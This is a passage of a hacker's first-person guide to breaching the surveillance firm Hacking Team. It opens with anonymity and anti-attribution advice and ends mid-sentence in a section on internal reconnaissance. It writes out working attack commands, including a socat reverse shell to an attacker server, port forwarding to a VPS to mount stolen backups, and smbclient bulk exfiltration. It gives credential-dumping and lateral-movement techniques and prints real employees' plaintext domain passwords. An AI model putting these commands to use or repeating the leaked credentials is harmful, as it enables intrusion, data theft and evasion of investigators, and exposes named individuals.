Hack Back! A DIY Guide


SUBMITTED BY: nolenf

DATE: July 12, 2016, 1:12 p.m.

FORMAT: Text only

SIZE: 43.1 kB

HITS: 82447

  1. _ _ _ ____ _ _
  2. | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
  3. | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
  4. | _ | (_| | (__| < | |_) | (_| | (__| <|_|
  5. |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
  6. A DIY Guide
  7. ,-._,-._
  8. _,-\ o O_/;
  9. / , ` `|
  10. | \-.,___, / `
  11. \ `-.__/ / ,.\
  12. / `-.__.-\` ./ \'
  13. / /| ___\ ,/ `\
  14. ( ( |.-"` '/\ \ `
  15. \ \/ ,, | \ _
  16. \| o/o / \.
  17. \ , / /
  18. ( __`;-;'__`) \\
  19. `//'` `||` `\
  20. _// || __ _ _ _____ __
  21. .-"-._,(__) .(__).-""-. | | | | |_ _| |
  22. / \ / \ | | |_| | | | |
  23. \ / \ / | | _ | | | |
  24. `'-------` `--------'` __| |_| |_| |_| |__
  25. #antisec
  26. --[ 1 - Introduction ]----------------------------------------------------------
  27. You'll notice the change in language since the last edition [1]. The
  28. English-speaking world already has tons of books, talks, guides, and
  29. info about hacking. In that world, there's plenty of hackers better than me,
  30. but they misuse their talents working for "defense" contractors, for intelligence
  31. agencies, to protect banks and corporations, and to defend the status quo.
  32. Hacker culture was born in the US as a counterculture, but that origin only
  33. remains in its aesthetics - the rest has been assimilated. At least they can
  34. wear a t-shirt, dye their hair blue, use their hacker names, and feel like
  35. rebels while they work for the Man.
  36. You used to have to sneak into offices to leak documents [2]. You used to need
  37. a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
  38. Like the CNT said after the Gamma Group hack: "Let's take a step forward with
  39. new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!
  40. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  41. [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
  42. [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
  43. [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
  44. [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group
  45. --[ 2 - Hacking Team ]----------------------------------------------------------
  46. Hacking Team was a company that helped governments hack and spy on
  47. journalists, activists, political opposition, and other threats to their power
  48. [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
  49. and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
  50. fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
  51. RCS". They also claimed to have technology to solve the "problem" posed by Tor
  52. and the darknet [13]. But seeing as I'm still free, I have my doubts about
  53. its effectiveness.
  54. [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
  55. [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
  56. [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
  57. [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
  58. [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
  59. [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
  60. [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
  61. [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
  62. [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
  63. [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
  64. [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
  65. [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
  66. [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
  67. --[ 3 - Stay safe out there ]---------------------------------------------------
  68. Unfortunately, our world is backwards. You get rich by doing bad things and go
  69. to jail for doing good. Fortunately, thanks to the hard work of people like
  70. the Tor project [1], you can avoid going to jail by taking a few simple
  71. precautions:
  72. 1) Encrypt your hard disk [2]
  73. I guess when the police arrive to seize your computer, it means you've
  74. already made a lot of mistakes, but it's better to be safe.
  75. 2) Use a virtual machine with all traffic routed through Tor
  76. This accomplishes two things. First, all your traffic is anonymized through
  77. Tor. Second, keeping your personal life and your hacking on separate
  78. computers helps you not to mix them by accident.
  79. You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
  80. something custom [6]. Here's [7] a detailed comparison.
  81. 3) (Optional) Don't connect directly to Tor
  82. Tor isn't a panacea. They can correlate the times you're connected to Tor
  83. with the times your hacker handle is active. Also, there have been
  84. successful attacks against Tor [8]. You can connect to Tor using other
  85. peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
  86. cracking wifi. Another option is to connect to a VPN or a bridge node [10]
  87. before Tor, but that's less secure because they can still correlate the
  88. hacker's activity with your house's internet activity (this was used as
  89. evidence against Jeremy Hammond [11]).
  90. The reality is that while Tor isn't perfect, it works quite well. When I
  91. was young and reckless, I did plenty of stuff without any protection (I'm
  92. referring to hacking) apart from Tor, that the police tried their hardest
  93. to investigate, and I've never had any problems.
  94. [1] https://www.torproject.org/
  95. [2] https://info.securityinabox.org/es/chapter-4
  96. [3] https://www.whonix.org/
  97. [4] https://tails.boum.org/
  98. [5] https://www.qubes-os.org/doc/privacy/torvm/
  99. [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
  100. [7] https://www.whonix.org/wiki/Comparison_with_Others
  101. [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
  102. [9] http://www.wifislax.com/
  103. [10] https://www.torproject.org/docs/bridges.html.en
  104. [11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
  105. ----[ 3.1 - Infrastructure ]----------------------------------------------------
  106. I don't hack directly from Tor exit nodes. They're on blacklists, they're
  107. slow, and they can't receive connect-backs. Tor protects my anonymity while I
  108. connect to the infrastructure I use to hack, which consists of:
  109. 1) Domain Names
  110. For C&C addresses, and for DNS tunnels for guaranteed egress.
  111. 2) Stable Servers
  112. For use as C&C servers, to receive connect-back shells, to launch attacks,
  113. and to store the loot.
  114. 3) Hacked Servers
  115. For use as pivots to hide the IP addresses of the stable servers. And for
  116. when I want a fast connection without pivoting, for example to scan ports,
  117. scan the whole internet, download a database with sqli, etc.
  118. Obviously, you have to use an anonymous payment method, like bitcoin (if it's
  119. used carefully).
  120. ----[ 3.2 - Attribution ]-------------------------------------------------------
  121. In the news we often see attacks traced back to government-backed hacking
  122. groups ("APTs"), because they repeatedly use the same tools, leave the same
  123. footprints, and even use the same infrastructure (domains, emails, etc).
  124. They're negligent because they can hack without legal consequences.
  125. I didn't want to make the police's work any easier by relating my hack of
  126. Hacking Team with other hacks I've done or with names I use in my day-to-day
  127. work as a blackhat hacker. So, I used new servers and domain names, registered
  128. with new emails, and payed for with new bitcoin addresses. Also, I only used
  129. tools that are publicly available, or things that I wrote specifically for
  130. this attack, and I changed my way of doing some things to not leave my usual
  131. forensic footprint.
  132. --[ 4 - Information Gathering ]-------------------------------------------------
  133. Although it can be tedious, this stage is very important, since the larger the
  134. attack surface, the easier it is to find a hole somewhere in it.
  135. ----[ 4.1 - Technical Information ]---------------------------------------------
  136. Some tools and techniques are:
  137. 1) Google
  138. A lot of interesting things can be found with a few well-chosen search
  139. queries. For example, the identity of DPR [1]. The bible of Google hacking
  140. is the book "Google Hacking for Penetration Testers". You can find a short
  141. summary in Spanish at [2].
  142. 2) Subdomain Enumeration
  143. Often, a company's main website is hosted by a third party, and you'll find
  144. the company's actual IP range thanks to subdomains like mx.company.com or
  145. ns1.company.com. Also, sometimes there are things that shouldn't be exposed
  146. in "hidden" subdomains. Useful tools for discovering domains and subdomains
  147. are fierce [3], theHarvester [4], and recon-ng [5].
  148. 3) Whois lookups and reverse lookups
  149. With a reverse lookup using the whois information from a domain or IP range
  150. of a company, you can find other domains and IP ranges. As far as I know,
  151. there's no free way to do reverse lookups aside from a google "hack":
  152. "via della moscova 13" site:www.findip-address.com
  153. "via della moscova 13" site:domaintools.com
  154. 4) Port scanning and fingerprinting
  155. Unlike the other techniques, this talks to the company's servers. I
  156. include it in this section because it's not an attack, it's just
  157. information gathering. The company's IDS might generate an alert, but you
  158. don't have to worry since the whole internet is being scanned constantly.
  159. For scanning, nmap [6] is precise, and can fingerprint the majority of
  160. services discovered. For companies with very large IP ranges, zmap [7] or
  161. masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
  162. sites.
  163. [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
  164. [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
  165. [3] http://ha.ckers.org/fierce/
  166. [4] https://github.com/laramies/theHarvester
  167. [5] https://bitbucket.org/LaNMaSteR53/recon-ng
  168. [6] https://nmap.org/
  169. [7] https://zmap.io/
  170. [8] https://github.com/robertdavidgraham/masscan
  171. [9] http://www.morningstarsecurity.com/research/whatweb
  172. [10] http://blindelephant.sourceforge.net/
  173. ----[ 4.2 - Social Information ]------------------------------------------------
  174. For social engineering, it's useful to have information about the employees,
  175. their roles, contact information, operating system, browser, plugins,
  176. software, etc. Some resources are:
  177. 1) Google
  178. Here as well, it's the most useful tool.
  179. 2) theHarvester and recon-ng
  180. I already mentioned them in the previous section, but they have a lot more
  181. functionality. They can find a lot of information quickly and
  182. automatically. It's worth reading all their documentation.
  183. 3) LinkedIn
  184. A lot of information about the employees can be found here. The company's
  185. recruiters are the most likely to accept your connection requests.
  186. 4) Data.com
  187. Previously known as jigsaw. They have contact information for many
  188. employees.
  189. 5) File Metadata
  190. A lot of information about employees and their systems can be found in
  191. metadata of files the company has published. Useful tools for finding
  192. files on the company's website and extracting the metadata are metagoofil
  193. [1] and FOCA [2].
  194. [1] https://github.com/laramies/metagoofil
  195. [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
  196. --[ 5 - Entering the network ]--------------------------------------------------
  197. There are various ways to get a foothold. Since the method I used against
  198. Hacking Team is uncommon and a lot more work than is usually necessary, I'll
  199. talk a little about the two most common ways, which I recommend trying first.
  200. ----[ 5.1 - Social Engineering ]------------------------------------------------
  201. Social engineering, specifically spear phishing, is responsible for the
  202. majority of hacks these days. For an introduction in Spanish, see [1]. For
  203. more information in English, see [2] (the third part, "Targeted Attacks"). For
  204. fun stories about the social engineering exploits of past generations, see
  205. [3]. I didn't want to try to spear phish Hacking Team, as their whole business
  206. is helping governments spear phish their opponents, so they'd be much more
  207. likely to recognize and investigate a spear phishing attempt.
  208. [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
  209. [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
  210. [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
  211. ----[ 5.2 - Buying Access ]-----------------------------------------------------
  212. Thanks to hardworking Russians and their exploit kits, traffic sellers, and
  213. bot herders, many companies already have compromised computers in their
  214. networks. Almost all of the Fortune 500, with their huge networks, have some
  215. bots already inside. However, Hacking Team is a very small company, and most
  216. of it's employees are infosec experts, so there was a low chance that they'd
  217. already been compromised.
  218. ----[ 5.3 - Technical Exploitation ]--------------------------------------------
  219. After the Gamma Group hack, I described a process for searching for
  220. vulnerabilities [1]. Hacking Team had one public IP range:
  221. inetnum: 93.62.139.32 - 93.62.139.47
  222. descr: HT public subnet
  223. Hacking Team had very little exposed to the internet. For example, unlike
  224. Gamma Group, their customer support site needed a client certificate to
  225. connect. What they had was their main website (a Joomla blog in which Joomscan
  226. [2] didn't find anything serious), a mail server, a couple routers, two VPN
  227. appliances, and a spam filtering appliance. So, I had three options: look for
  228. a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
  229. embedded devices. A 0day in an embedded device seemed like the easiest option,
  230. and after two weeks of work reverse engineering, I got a remote root exploit.
  231. Since the vulnerabilities still haven't been patched, I won't give more
  232. details, but for more information on finding these kinds of vulnerabilities,
  233. see [3] and [4].
  234. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  235. [2] http://sourceforge.net/projects/joomscan/
  236. [3] http://www.devttys0.com/
  237. [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
  238. --[ 6 - Be Prepared ]-----------------------------------------------------------
  239. I did a lot of work and testing before using the exploit against Hacking Team.
  240. I wrote a backdoored firmware, and compiled various post-exploitation tools
  241. for the embedded device. The backdoor serves to protect the exploit. Using the
  242. exploit just once and then returning through the backdoor makes it harder to
  243. identify and patch the vulnerabilities.
  244. The post-exploitation tools that I'd prepared were:
  245. 1) busybox
  246. For all the standard Unix utilities that the system didn't have.
  247. 2) nmap
  248. To scan and fingerprint Hacking Team's internal network.
  249. 3) Responder.py
  250. The most useful tool for attacking windows networks when you have access to
  251. the internal network, but no domain user.
  252. 4) Python
  253. To execute Responder.py
  254. 5) tcpdump
  255. For sniffing traffic.
  256. 6) dsniff
  257. For sniffing passwords from plaintext protocols like ftp, and for
  258. arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
  259. and NaGA, but it was hard to compile it for the system.
  260. 7) socat
  261. For a comfortable shell with a pty:
  262. my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
  263. hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
  264. tcp:my_server:my_port
  265. And useful for a lot more, it's a networking swiss army knife. See the
  266. examples section of its documentation.
  267. 8) screen
  268. Like the shell with pty, it wasn't really necessary, but I wanted to feel
  269. at home in Hacking Team's network.
  270. 9) a SOCKS proxy server
  271. To use with proxychains to be able to access their local network from any
  272. program.
  273. 10) tgcd
  274. For forwarding ports, like for the SOCKS server, through the firewall.
  275. [1] https://www.busybox.net/
  276. [2] https://nmap.org/
  277. [3] https://github.com/SpiderLabs/Responder
  278. [4] https://github.com/bendmorris/static-python
  279. [5] http://www.tcpdump.org/
  280. [6] http://www.monkey.org/~dugsong/dsniff/
  281. [7] http://www.dest-unreach.org/socat/
  282. [8] https://www.gnu.org/software/screen/
  283. [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
  284. [10] http://tgcd.sourceforge.net/
  285. The worst thing that could happen would be for my backdoor or post-exploitation
  286. tools to make the system unstable and cause an employee to investigate. So I
  287. spent a week testing my exploit, backdoor, and post-exploitation tools in the
  288. networks of other vulnerable companies before entering Hacking Team's network.
  289. --[ 7 - Watch and Listen ]------------------------------------------------------
  290. Now inside their internal network, I wanted to take a look around and think
  291. about my next step. I started Responder.py in analysis mode (-A to listen
  292. without sending poisoned responses), and did a slow scan with nmap.
  293. --[ 8 - NoSQL Databases ]-------------------------------------------------------
  294. NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
  295. community [1]. Just when I was worried that they'd finally patched all of the
  296. authentication bypass bugs in MySQL [2][3][4][5], new databases came into
  297. style that lack authentication by design. Nmap found a few in Hacking Team's
  298. internal network:
  299. 27017/tcp open mongodb MongoDB 2.6.5
  300. | mongodb-databases:
  301. | ok = 1
  302. | totalSizeMb = 47547
  303. | totalSize = 49856643072
  304. ...
  305. |_ version = 2.6.5
  306. 27017/tcp open mongodb MongoDB 2.6.5
  307. | mongodb-databases:
  308. | ok = 1
  309. | totalSizeMb = 31987
  310. | totalSize = 33540800512
  311. | databases
  312. ...
  313. |_ version = 2.6.5
  314. They were the databases for test instances of RCS. The audio that RCS records
  315. is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
  316. from this. They were spying on themselves without meaning to.
  317. [1] https://www.shodan.io/search?query=product%3Amongodb
  318. [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
  319. [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
  320. [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
  321. [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
  322. [6] https://ht.transparencytoolkit.org/audio/
  323. --[ 9 - Crossed Cables ]--------------------------------------------------------
  324. Although it was fun to listen to recordings and see webcam images of Hacking
  325. Team developing their malware, it wasn't very useful. Their insecure backups
  326. were the vulnerability that opened their doors. According to their
  327. documentation [1], their iSCSI devices were supposed to be on a separate
  328. network, but nmap found a few in their subnetwork 192.168.1.200/24:
  329. Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
  330. ...
  331. 3260/tcp open iscsi?
  332. | iscsi-info:
  333. | Target: iqn.2000-01.com.synology:ht-synology.name
  334. | Address: 192.168.200.66:3260,0
  335. |_ Authentication: No authentication required
  336. Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
  337. ...
  338. 3260/tcp open iscsi?
  339. | iscsi-info:
  340. | Target: iqn.2000-01.com.synology:synology-backup.name
  341. | Address: 10.0.1.72:3260,0
  342. | Address: 192.168.200.72:3260,0
  343. |_ Authentication: No authentication required
  344. iSCSI needs a kernel module, and it would've been difficult to compile it for
  345. the embedded system. I forwarded the port so that I could mount it from a VPS:
  346. VPS: tgcd -L -p 3260 -q 42838
  347. Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
  348. VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
  349. Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
  350. because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
  351. The way I solved it was:
  352. iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
  353. And now, after:
  354. iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
  355. ...the device file appears! We mount it:
  356. vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
  357. and find backups of various virtual machines. The Exchange server seemed like
  358. the most interesting. It was too big too download, but it was possible to
  359. mount it remotely to look for interesting files:
  360. $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
  361. $ fdisk -l /dev/loop0
  362. /dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
  363. so the offset is 2048 * 512 = 1048576
  364. $ losetup -o 1048576 /dev/loop1 /dev/loop0
  365. $ mount -o ro /dev/loop1 /mnt/exchange/
  366. now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
  367. we find the hard disk of the VM, and mount it:
  368. vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
  369. mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
  370. ...and finally we've unpacked the Russian doll and can see all the files from
  371. the old Exchange server in /mnt/part1
  372. [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
  373. --[ 10 - From backups to domain admin ]-----------------------------------------
  374. What interested me most in the backup was seeing if it had a password or hash
  375. that could be used to access the live server. I used pwdump, cachedump, and
  376. lsadump [1] on the registry hives. lsadump found the password to the besadmin
  377. service account:
  378. _SC_BlackBerry MDS Connection Service
  379. 0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  380. 0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
  381. 0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
  382. I used proxychains [2] with the socks server on the embedded device and
  383. smbclient [3] to check the password:
  384. proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
  385. It worked! The password for besadmin was still valid, and a local admin. I
  386. used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
  387. Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
  388. got a bunch of passwords, including the Domain Admin:
  389. HACKINGTEAM BESAdmin bes32678!!!
  390. HACKINGTEAM Administrator uu8dd8ndd12!
  391. HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin
  392. HACKINGTEAM m.romeo ioLK/(90
  393. HACKINGTEAM l.guerra 4luc@=.=
  394. HACKINGTEAM d.martinez W4tudul3sp
  395. HACKINGTEAM g.russo GCBr0s0705!
  396. HACKINGTEAM a.scarafile Cd4432996111
  397. HACKINGTEAM r.viscardi Ht2015!
  398. HACKINGTEAM a.mino A!e$$andra
  399. HACKINGTEAM m.bettini Ettore&Bella0314
  400. HACKINGTEAM m.luppi Blackou7
  401. HACKINGTEAM s.gallucci 1S9i8m4o!
  402. HACKINGTEAM d.milan set!dob66
  403. HACKINGTEAM w.furlan Blu3.B3rry!
  404. HACKINGTEAM d.romualdi Rd13136f@#
  405. HACKINGTEAM l.invernizzi L0r3nz0123!
  406. HACKINGTEAM e.ciceri 2O2571&2E
  407. HACKINGTEAM e.rabe erab@4HT!
  408. [1] https://github.com/Neohapsis/creddump7
  409. [2] http://proxychains.sourceforge.net/
  410. [3] https://www.samba.org/
  411. [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
  412. [5] https://github.com/gentilkiwi/mimikatz
  413. --[ 11 - Downloading the mail ]-------------------------------------------------
  414. With the Domain Admin password, I have access to the email, the heart of the
  415. company. Since with each step I take there's a chance of being detected, I
  416. start downloading their email before continuing to explore. Powershell makes
  417. it easy [1]. Curiously, I found a bug with Powershell's date handling. After
  418. downloading the emails, it took me another couple weeks to get access to the
  419. source code and everything else, so I returned every now and then to download
  420. the new emails. The server was Italian, with dates in the format
  421. day/month/year. I used:
  422. -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
  423. with New-MailboxExportRequest to download the new emails (in this case all
  424. mail since June 5). The problem is it says the date is invalid if you
  425. try a day larger than 12 (I imagine because in the US the month comes first
  426. and you can't have a month above 12). It seems like Microsoft's engineers only
  427. test their software with their own locale.
  428. [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
  429. --[ 12 - Downloading Files ]----------------------------------------------------
  430. Now that I'd gotten Domain Admin, I started to download file shares using my
  431. proxy and the -Tc option of smbclient, for example:
  432. proxychains smbclient '//192.168.1.230/FAE DiskStation' \
  433. -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
  434. I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
  435. the torrent like that.
  436. --[ 13 - Introduction to hacking windows domains ]------------------------------
  437. Before continuing with the story of the "weones culiaos" (Hacking Team), I
  438. should give some general knowledge for hacking windows networks.
  439. ----[ 13.1 - Lateral Movement ]-------------------------------------------------
  440. I'll give a brief review of the different techniques for spreading withing a
  441. windows network. The techniques for remote execution require the password or
  442. hash of a local admin on the target. By far, the most common way of obtaining
  443. those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
  444. and sekurlsa::msv, on the computers where you already have admin access. The
  445. techniques for "in place" movement also require administrative privileges
  446. (except for runas). The most important tools for privilege escalation are
  447. PowerUp [2], and bypassuac [3].
  448. [1] https://adsecurity.org/?page_id=1821
  449. [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
  450. [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
  451. Remote Movement:
  452. 1) psexec
  453. The tried and true method for lateral movement on windows. You can use
  454. psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
  455. invoke_psexec [4], or the builtin windows command "sc" [5]. For the
  456. metasploit module, powershell empire, and pth-winexe [6], you just need the
  457. hash, not the password. It's the most universal method (it works on any
  458. windows computer with port 445 open), but it's also the least stealthy.
  459. Event type 7045 "Service Control Manager" will appear in the event logs. In
  460. my experience, no one has ever noticed during a hack, but it helps the
  461. investigators piece together what the hacker did afterwards.
  462. 2) WMI
  463. The most stealthy method. The WMI service is enabled on all windows
  464. computers, but except for servers, the firewall blocks it by default. You
  465. can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
  466. pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
  467. wmic [5]. All except wmic just need the hash.
  468. 3) PSRemoting [10]
  469. It's disabled by default, and I don't recommend enabling new protocols.
  470. But, if the sysadmin has already enabled it, it's very convenient,
  471. especially if you use powershell for everything (and you should use
  472. powershell for almost everything, it will change [11] with powershell 5 and
  473. windows 10, but for now powershell makes it easy to do everything in RAM,
  474. avoid AV, and leave a small footprint)
  475. 4) Scheduled Tasks
  476. You can execute remote programs with at and schtasks [5]. It works in the
  477. same situations where you could use psexec, and it also leaves a well known
  478. footprint [12].
  479. 5) GPO
  480. If all those protocols are disabled or blocked by the firewall, once you're
  481. Domain Admin, you can use GPO to give users a login script, install an msi,
  482. execute a scheduled task [13], or, like we'll see with the computer of
  483. Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
  484. open the firewall.
  485. [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
  486. [2] https://sourceforge.net/projects/winexe/
  487. [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
  488. [4] http://www.powershellempire.com/?page_id=523
  489. [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
  490. [6] https://github.com/byt3bl33d3r/pth-toolkit
  491. [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
  492. [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
  493. [9] http://www.powershellempire.com/?page_id=124
  494. [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
  495. [11] https://adsecurity.org/?p=2277
  496. [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
  497. [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
  498. "In place" Movement:
  499. 1) Token Stealing
  500. Once you have admin access on a computer, you can use the tokens of the
  501. other users to access resources in the domain. Two tools for doing this are
  502. incognito [1] and the mimikatz token::* commands [2].
  503. 2) MS14-068
  504. You can take advantage of a validation bug in Kerberos to generate Domain
  505. Admin tickets [3][4][5].
  506. 3) Pass the Hash
  507. If you have a user's hash, but they're not logged in, you can use
  508. sekurlsa::pth [2] to get a ticket for the user.
  509. 4) Process Injection
  510. Any RAT can inject itself into other processes. For example, the migrate
  511. command in meterpreter and pupy [6], or the psinject [7] command in
  512. powershell empire. You can inject into the process that has the token you
  513. want.
  514. 5) runas
  515. This is sometimes very useful since it doesn't require admin privileges.
  516. The command is part of windows, but if you don't have a GUI you can use
  517. powershell [8].
  518. [1] https://www.indetectables.net/viewtopic.php?p=211165
  519. [2] https://adsecurity.org/?page_id=1821
  520. [3] https://github.com/bidord/pykek
  521. [4] https://adsecurity.org/?p=676
  522. [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
  523. [6] https://github.com/n1nj4sec/pupy
  524. [7] http://www.powershellempire.com/?page_id=273
  525. [8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
  526. ----[ 13.2 - Persistence ]------------------------------------------------------
  527. Once you have access, you want to keep it. Really, persistence is only a
  528. challenge for assholes like Hacking Team who target activists and other
  529. individuals. To hack companies, persistence isn't needed since companies never
  530. sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
  531. high-uptime servers. On the off chance that they all reboot at the same time,
  532. I have passwords and a golden ticket [1] as backup access. You can read more
  533. about the different techniques for persistence in windows here [2][3][4]. But
  534. for hacking companies, it's not needed and it increases the risk of detection.
  535. [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
  536. [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
  537. [3] http://www.hexacorn.com/blog/category/autostart-persistence/
  538. [4] https://blog.netspi.com/tag/persistence/
  539. ----[ 13.3 - Internal reconnaissance ]------------------------------------------
  540. The best tool these days for understanding windows networks is Powerview [1].
  541. It's worth reading everything written by it's author [2], especially [3], [4],
  542. [5], and [6]. Powershell itself is also quite powerful [7]. As there are still
  543. many windows 2000 and 2003 servers without powershell, you also have to learn
  544. the old school [8], with programs like netview.exe [9] or the windows builtin
  545. "net view". Other techniques that I like are:
  546. 1) Downloading a list of file names
  547. With a Domain Admin account, you can download a list of all filenames in
  548. the network with powerview:
  549. Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
  550. select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
  551. select fullname | out-file -append files.txt}
  552. Later, you can read it at your leisure and choose which files to download.
  553. 2) Reading email
  554. As we've already seen, you can download email with powershell, and it has a
  555. lot of useful information.
  556. 3) Reading sharepoint
  557. It's another place where many businesses store a lot of important
  558. information. It can also be downloaded with powershell [10].
  559. 4) Active Directory [11]
  560. It has a lot of useful information about users and computers. Without being
  561. Domain Admin, you can already get a lot of info with powerview and other
  562. tools [12]. After getting Domain Admin, you should export all the AD
  563. information with csvde or another tool.
  564. 5) Spy on the employees
  565. One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
  566. (one of Hacking Team's sysadmins) gave me access to a Nagios server which
  567. gave me access to the rete sviluppo (development network with the source
  568. code of RCS). With a simple combination of Get-Keystrokes and
  569. Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
